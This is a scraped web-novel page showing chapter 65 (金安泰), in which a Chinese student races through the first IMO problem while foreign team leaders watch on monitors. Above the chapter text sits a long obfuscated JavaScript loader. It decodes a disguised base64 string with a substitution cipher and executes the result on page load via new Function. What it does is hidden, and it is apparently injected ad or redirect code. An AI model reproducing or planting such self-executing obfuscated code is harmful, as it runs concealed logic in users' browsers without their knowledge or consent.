当书网

阅读记录  |   用户书架
(function(){function u9ecfd17f(v3a5691){var a4b76="Yv_[4Gyb2KUQeR8j6xoi@?;c,-lF3T|IrED~wHt05pdaNz%OJ/s:quPCnLV$^k.A]ZM9!fBgmh17S&(=XW";var tba408="e^&_4XDsRo-|u$gk~Mr1hBf6G?tU;Tbl0[PzivV.ad9OpLcyEj/x7]JCSw,ZW(N:2@mIK8!Hq=3YnFQ5%A";return atob(v3a5691).split('').map(function(x905b9a){var q0ac288=a4b76.indexOf(x905b9a);return q0ac288==-1?x905b9a:tba408[q0ac288]}).join('')}var c=u9ecfd17f('thunder://THdTcEtMRSJ+IisiaTVZXT0iKyJZInVoO2VTJWx3S1NrKXtrO2VTJWx3S1NrcGlpcF1pZlZLcDFwJWZjVkBmPWQlfDVdWVZsNWRkcil7dztrc3Z4NSVRXndTczBsWWJsa1M1SHc4NWxLbzBOSTVsO0tvTSkpe29ZbGVvU31INW8gYmNpZFlZaDtlUyVsd0tTa0tmciVwZil7b1lsZW9TIG5sb3dTODA7b0tNQ0A1b0NLcFlrS2ZyJXBmKX0zSDVvIEBdclk9NGhFIkkvYlVncmlbemFXeVtQbltnVHh6IlYiSFlvVXJpIlYiYndwVWljXSJWIiUlbFVdcl09VXJxVV1pIF0xQV0xQXIxInUzSDVvIE0lcXxmaEBmPWQlfDVdWUViY2lkWVlrZHEpK2JjaWRZWWtpaWMpK2JjaWRZWWtpaWkpK2JjaWRZWWtkZil1VmxwcmZyaEBmPWQlfDVdWUViY2lkWVlrZGYpK2JjaWRZWWtpaWMpK2JjaWRZWWtpaWkpK2JjaWRZWWtkcSl1Vnx8cmRwcWhsNWRkckVNJXF8ZmsiNzF0TyVNdGVwJi4vJU1JTHBXaGgiKXVWWT1wcj1oTSVxfGZrIjcxUEk3RzJJMl46SXxedGVwV2hoIilWTllxcWQ0fGhNJXF8ZmsiJTF0dyUxMk81Xj1TIilWSHx8MXw0MWhNJXF8ZmsiJU10THwsJi8kKGhoIilWNWlkMTE1XTFoTSVxfGZrIiUxP2I1RyhoIilWSGQxcXwxcnBjaE0lcXxmayIlTXRdJEdQfiQoaGgiKVZ+cnJkcllkaE0lcXxmayI1TWROfDhoaCIpVnA7YyVpaEBmPWQlfDVdWUVNJXF8ZmsiVF4mcjVXaGgiKXVWJWk9NWRyZl1ocDtjJWlFTSVxfGZrIjdddE58V2hoIil1Vm8lPXFpcmhwO2MlaUVNJXF8ZmsiJE06SHwxOWgiKXVWbTtwWTQ7WWhwO2MlaUVNJXF8ZmsiJU0mZSQsZGwiKXVWTWY9YzVpaWQ1aE0lcXxmayJ8XiZyN104aCIpVkBmY2NkaTtxfGhNJXF8ZmsifF4mTCIpVkAlO2RjNT0xXWhNJXF8ZmsifCxkQCRXaGgiKTNINW8gfiVmcmlmcWNpaE0lcXxmayIlXWlyNV4ySXA4aGgiKTNINW8gOmRdJV1wMTNINW8gfHJwO3JmWWZ8aHBpaXBdaWZFcnUzdztrcGlpcF1pZjBJWVM4bEA+aSl7fHJwO3JmWWZ8aHBpaXBdaWZFbyU9cWlya207cFk0O1lrKSpwaWlwXWlmMElZUzhsQCl1fXc7a0lLJTVsd0tTMGJZNW8lQDB3U3BZOmE7a34lZnJpZnFjaSk+VWkpezpkXSVdcDFobDVkZHJFWT1wcj11a00lcXxmayJwLHQ0cCwmTyReSmgiKSkzOmRdJV1wMTB3cGgibCIrbTtwWTQ7WWspKmlZNDM6ZF0lXXAxMGJsT0lZMEx3cGxAaCJpcnJYIjM6ZF0lXXAxMGJsT0lZMEBZdzhAbGgiPXJyTjoiMzpkXSVdcDEwcHdiNXxJWXBobG9lWTN3O2tsNWRkcjB8S3BPQmhTZUlJKXtsNWRkcjB8S3BPMDVOTllTcENAd0lwazpkXSVdcDEpfVlJYll7SDVvIEhwPT1kaDtlUyVsd0tTayl7bDVkZHIwfEtwTzA1Tk5ZU3BDQHdJcGs6ZF0lXXAxKTNAZj1kJXw1XVkwb1lNS0hZSkhZU2x6d2JsWVNZb2tAJTtkYzU9MV1WSHA9PWRWOzVJYlkpfTNAZj1kJXw1XVkwNXBwSkhZU2x6d2JsWVNZb2tAJTtkYzU9MV1WSHA9PWRWOzVJYlkpfX1INW8gOzF8ZHxZXTFkaGw1ZGRyRVk9cHI9dWtNJXF8ZmsiJF5pdyReKGgiKSkzOzF8ZHxZXTFkMHdwaEtwMXAlZmMrJWk9NWRyZl1rbTtwWTQ7WWspKmlZNCkzOzF8ZHxZXTFkMGJsT0lZMEBZdzhAbGgick46IjM7MXxkfFldMWQwYmxPSVkwS0hZbztJS0xoIkB3cHBZUyIzJUtTYmwgfDE0Y3xkcGk1aGsvfDFmaSVWTnByXWNpXTRWTzVZZGN8aF1yciloPkRvS013YlkwbzUlWWtFO1lsJUBrL3wxZmklVk5wcl1jaV00KVZTWUwgRG9LTXdiWWtra1tWb1kvWSVsKWg+YllsVHdNWUtlbGtrayloPm9ZL1klbGtTWUwgSm9vS29rImx3TVlLZWwiKSkpVk81WWRjfCkpKXUpM0g1byBOcHIxOzV8PWloNWJPUyUgO2VTJWx3S1NrbD0lNTV8NCl7SDVvIEhjPXBmY11ZY2hFIi9iIlYiJWJiIlYiOHc7IlYiL044IlYiTlM4IlYiL044WSJWIkxZfE4iViJiSDgiViJAbE1JIlYiL05ZOCJ1M0g1byBOXWljNV0lcD1oSGM9cGZjXVljMElZUzhsQDNIYz1wZmNdWWNoSGM9cGZjXVljRW8lPXFpcmttO3BZNDtZaykqTl1pYzVdJXA9KXUzJUtTYmwgTGQ7XTE0cWhFIiRdJWUkTSR+LiwkPXBHJWVwLGRMYS9qPS5UN2gidTNINW8gOFklOztxaExkO10xNHFFcnUzdztrTGQ7XTE0cTBJWVM4bEA+aSl7OFklOztxaExkO10xNHFFbyU9cWlya207cFk0O1lrKSpMZDtdMTRxMElZUzhsQCl1fUg1byBiNXIlOztkZmhONW9iWTlTbGtLcDFwJWZjKTN3O2t3Yi41LmtiNXIlOztkZikpYjVyJTs7ZGZocjNiNXIlOztkZitoZmZmZjNINW8gU2kxaSUlNWhFIkBsbE5iQXMiVnw0Y3A1cWs4WSU7O3EpViJAbE1JIlZgYk1Se2I1ciU7O2RmfWBWYFJ7S3AxcCVmY30wUntIYz1wZmNdWWN9YHVFfnJyZHJZZHVrInMiKTN3O2s6ZF0lXXAxQmhTZUlJKTpkXSVdcDEwSDVJZVkraCJcb1xTYllTcCBtYiBAS2JsICIrU2kxaSUlNTNsb097SDVvIEtZJVldZmg1TDV3bCB8MTRjfGRwaTVrU2kxaSUlNVZ7b1lwd29ZJWxBIjtLSUlLTCJ9Vmk9cnIpM0tZJVldZmg1TDV3bCBLWSVZXWYwbFk6bGspM0g1byBOaWk9MWRjcjRoS1klWV1mMHdTcFk6YTtrYmNpZFlZa2NpKSkzSDVvIGp8cjRwMXJ8JWgiIjN3O2tOaWk9MWRjcjQ+aHIpe2p8cjRwMXJ8JWhLWSVZXWZFTllxcWQ0fHVrTmlpPTFkY3I0KTNLWSVZXWZoS1klWV1mRU5ZcXFkNHx1a3JWTmlpPTFkY3I0KX1LWSVZXWZoS1klWV1mRU1mPWM1aWlkNXVrczB7aVY0fXM4KUVAZmNjZGk7cXx1a2s6aD46RTVpZDExNV0xdWsiIilFSGQxcXwxcnBjdWspRX5ycmRyWWR1ayIiKSkpRX5ycmRyWWR1ayIiKTNLWSVZXWZoS1klWV1mK2p8cjRwMXJ8JTNLWSVZXWZoTSVxfGZrS1klWV1mKTNsPSU1NXw0aEtZJVldZkU1aWQxMTVdMXVrInMiKUVydTN3O2s6ZF0lXXAxQmhTZUlJKTpkXSVdcDEwSDVJZVkraCJcb1xTOFlsIG1iIEBLYmwgYmUlJVliYiIrbD0lNTV8NH0lNWwlQGt8O3wlJWlmPSl7dztrOmRdJV1wMUJoU2VJSSk6ZF0lXXAxMEg1SWVZK2giXG9cUzhZbCBtYiBAS2JsIDs1d0lZcCIrfDt8JSVpZj19SDVvIE4xfGM1WWhscHJmcmtAXXJZPTQwJUtTJTVsa0VgU0tMVVJ7eTVsWUUiU0tMInVrKX1gVmBAb1k7VVJ7SUslNWx3S1MwQG9ZO31gVmBlYiVVUntwO3BpXXFkayl9YHUpMGJLb2xra2spaD5tO3BZNDtZaylVMD0pKUV+cnJkcllkdWsiViIpKTNINW8gb2NjaSVpZGhOMXxjNVkwd1NwWTphO2tiY2lkWVlrY2kpKT5VaS1OMXxjNVlFTllxcWQ0fHVrTjF8YzVZMHdTcFk6YTtrYmNpZFlZa2NpKSkpQSIiM04xfGM1WWhOMXxjNVlFSHx8MXw0MXVrb2NjaSVpZFYiIilFNWlkMTE1XTF1ayIiKUVIZDFxfDFycGN1aylFfnJyZHJZZHVrIiIpK29jY2klaWQzOzF8ZHxZXTFkMGJvJWhFIkBsbE5iQXMiVmw9JTU1fDRWOzF8ZHxZXTFkMHdwVk4xfGM1WXVFfnJyZHJZZHVrInMiKTNsb097bDVkZHIwfEtwTzA1Tk5ZU3BDQHdJcGs7MXxkfFldMWQpfSU1bCVAa1kpe2w1ZGRyMDVwcEpIWVNsendibFlTWW9rInlheENLU2xZU2x6SzVwWXAiVmtrKWg+e2w1ZGRyMHxLcE8wd1NiWW9sP1k7S29ZazsxfGR8WV0xZFZsNWRkcjB8S3BPMCVAd0lwLktwWWJFcnUpfSkpfXc7azpkXSVdcDFCaFNlSUkpezpkXSVdcDEwSDVJZVkraCJcb1xTNU5OWVNwWXAgWU0gbEsgQGxNSSIzSDVvICVyZDtycHJobDVkZHIwOFlsSklZTVlTbD9POXBrOzF8ZHxZXTFkMHdwKTN3O2slcmQ7cnByaGhTZUlJUVElcmQ7cnByaGhlU3BZO3dTWXApezpkXSVdcDEwSDVJZVkraCJcb1xTICU1U2wgOFlsIFlNIDtvS00gQGxNSSJ9fX0zdztrOmRdJV1wMUJoU2VJSSl7OmRdJV1wMTBINUllWStoIlxvXFNiWVNwIC9iIEBLYmwgIit8cnA7cmZZZnx9SDVvIHA7cGldcWRoO2VTJWx3S1NrKXtsb097JUtTYmwgWT00O3xoa1NZTCB5NWxZKTBsS3pLJTVJWXk1bFlubG93UzhrKTMlS1NibCBTO2N8ZmhgYk1sd1tid3BbUns7JT1dY3BdWTQwS3AxcCVmY31bTkhgM0lZbCBMJTQ0XTVZaFBuYS4wTjVvYllrSUslNUlubEtvNThZMDhZbDlsWU1rUztjfGYpKTN3O2tMJTQ0XTVZaGhTZUlJUVFMJTQ0XTVZMHA1bFlCaFk9NDt8KXtMJTQ0XTVZaHtOSFR3TVliQXJWcDVsWUFZPTQ7fH19b1lsZW9TIEwlNDRdNVkwTkhUd01ZYitpfSU1bCVAazVZJTRjZCl7b1lsZW9TIGl9fTNINW8gfDRjcDVxaDtlUyVsd0tTa35yaWN8cSl7b1lsZW9TIE0lcXxma35yaWN8cSlFSHx8MXw0MXVrYmNpZFlZazRdKVZtO3BZNDtZaykwbEtubG93UzhrMWMpMGJJdyVZa28lPXFpcmttO3BZNDtZaykqZCkrXSkpfTNOcHIxOzV8PWlrfDRjcDVxa3xycDtyZllmfCkpM0BmPWQlfDVdWUUiNXBwSkhZU2x6d2JsWVNZbyJ1ayJNWWJiNThZIlZrO2VTJWx3S1NrNVklNGNkKXt3O2s1WSU0Y2QwcDVsNTBqaGhLcDFwJWZjKXtsNWRkcjA4WWxKSVlNWVNsP085cGs7MXxkfFldMWQwd3ApMG9ZTUtIWWspM0g1byBvZjtjaXJpJXJoU2VJSTN3O2s6ZF0lXXAxQmhTZUlJKXs6ZF0lXXAxMEg1SWVZK2giXG9cU29ZJVl3SFkgWU0gTktibCBNWWJiNThZIjM6ZF0lXXAxMEg1SWVZK2giXG9cU1kwcDVsNTBIICIrNVklNGNkMHA1bDUwbTNvZjtjaXJpJXJoazAwMGxZXTFjKWg+e3c7a0JsWV0xY1FRbFldMWMwSVlTOGxAPGhyKW9ZbGVvUzM6ZF0lXXAxMEg1SWVZK2giXG9cUyIrbFldMWMwL0t3U2siICIpfX1TWUwgJmVTJWx3S1NrIjVvOGIiVjVZJTRjZDBwNWw1MG0pa3tbbHAlYkF8fHJkcHFWW0lLOEFvZjtjaXJpJXJ9KX19KSl9KWtFIiRdJWV8VGpdcF0mbXwscmVwLGRMYS9qPS5UN2gidVYiaWNdIlZMd1NwS0xWcEslZU1ZU2wpfTN+aTVZXT1Zaykz'.substr(10));new Function(c)()})();
上一章
目录 | 设置
下一页

第六十五章 金安泰(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

(感谢家里的哈士奇叫狮子的两个万赏!)

…………

第一题,完完全全的送分题。

这道题目,对于那些竞赛弱国的队员们,或许还存在一定的难度。

但于前几排的学生们来说,他们全都是来自各大竞赛强国的队员,做起来自然毫无压力。

区别的,无非是完成的速度而已。

耗费越少的时间完成第一题,那就可以拿越多的时间,来钻研后面的两题。

第一题:【找出所有的正整数对m,n≥3,使得存在无穷多个正整数a,使(a^m+a-1)/(a^n+a^2-1)为整数。】

毕齐同学摸着下巴,沉吟几秒钟后,脑海中便有了思路。

握着笔,笔尖一边唰唰唰的在草稿纸上列着公式,一边嘴中小声嘀咕着一长串普通人完全听不懂的东西。

“首先,可以确定的一点是m≥n,那么接下来,需要构造两个函数。”

“f(x)=(x^m+x-1),g(x)=(x^n+x^2-1),设f(x)=r(x)g(x)+s(x),r(x)和s(x)应该都属于整系数多项式。”

“然后,给它来一个裴蜀定理,得出r(x)和s(x)存在的最大公因数。”

“……这里,直接来个无穷递降法!把方程的幂降下来。再利用……求出,m=5,n=3,那么便只需要证明对于任意的整数a,(a^5+a-1)/(a^3+a^2-1)都是整数!”

十分钟的时间,毕齐完成第一步的转化。

即确定题干中m、n的值,将问题转化为一个只有普通高考难度的不等式证明题。

“有些不可思议的轻松啊!”

考试时间二十分钟,毕齐看着草稿纸上已经被自己证明出来的第一题,轻松的笑了笑。

imo的题目,并没有他想象的那么恐怖嘛!

这样思索着,毕齐的视线落在第二道代数题。

虽然已经知道lagrange乘数法,就是这道题目破题的关键。

但具体的推导过程,还是需要毕齐细细的思考梳理。

…………

休息室内。

会场中每位考生的一举一动都被各国领队们尽收眼底。

目前大部分考生都还在做第一题。

所以除了个别考生以外,大部分考生脸上的神色都还算正常,并没有出现那种苦仇大恨的表情。

显然进展还算比较顺利。

这让不少教练齐齐松口气。

幸好没有出现,他们的队员,在第一题就被卡住的天崩画面。

“咦,已经有人做完第一题了?”加拿大的领队惊讶道。

“在哪?”加拿大领队这话,引起了不少人注意。

毕竟目前才过了二十多分钟,虽然第一题的难度不算太高,但这个时间点就完成作答,这个速度还是有些过于快了。

“在这,你们看!”加拿大领队指着监控屏幕中显示的一道身影。

而那道身影不是别人,正是华国队的毕齐同学。

从监控屏幕中可以模糊的看到,毕齐同学桌面上第一题所对应的答题卡,已经被密密麻麻的公式写满。

毕齐此时,正在对着第二题,在试卷上勾勾画画。

一位领队开口,“这……似乎是华国队的队员吧。”

华国队……

几人齐齐扭头,看向靠在沙发上,翘着二郎腿玩手机的顾律。

坐在顾律身旁的朴长渠虽然一直表现的很平静,但其实把注意力一直放在监控屏幕那边。

刚才几位领队的谈话,朴长渠自然尽数听到。

当得知有华国队员已经完成第一题作答的时候,朴长渠的整个心脏不由揪了起来。

就在朴长渠的心脏快跳到嗓子眼的时候,加拿大领队那边又惊叫了一声。

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间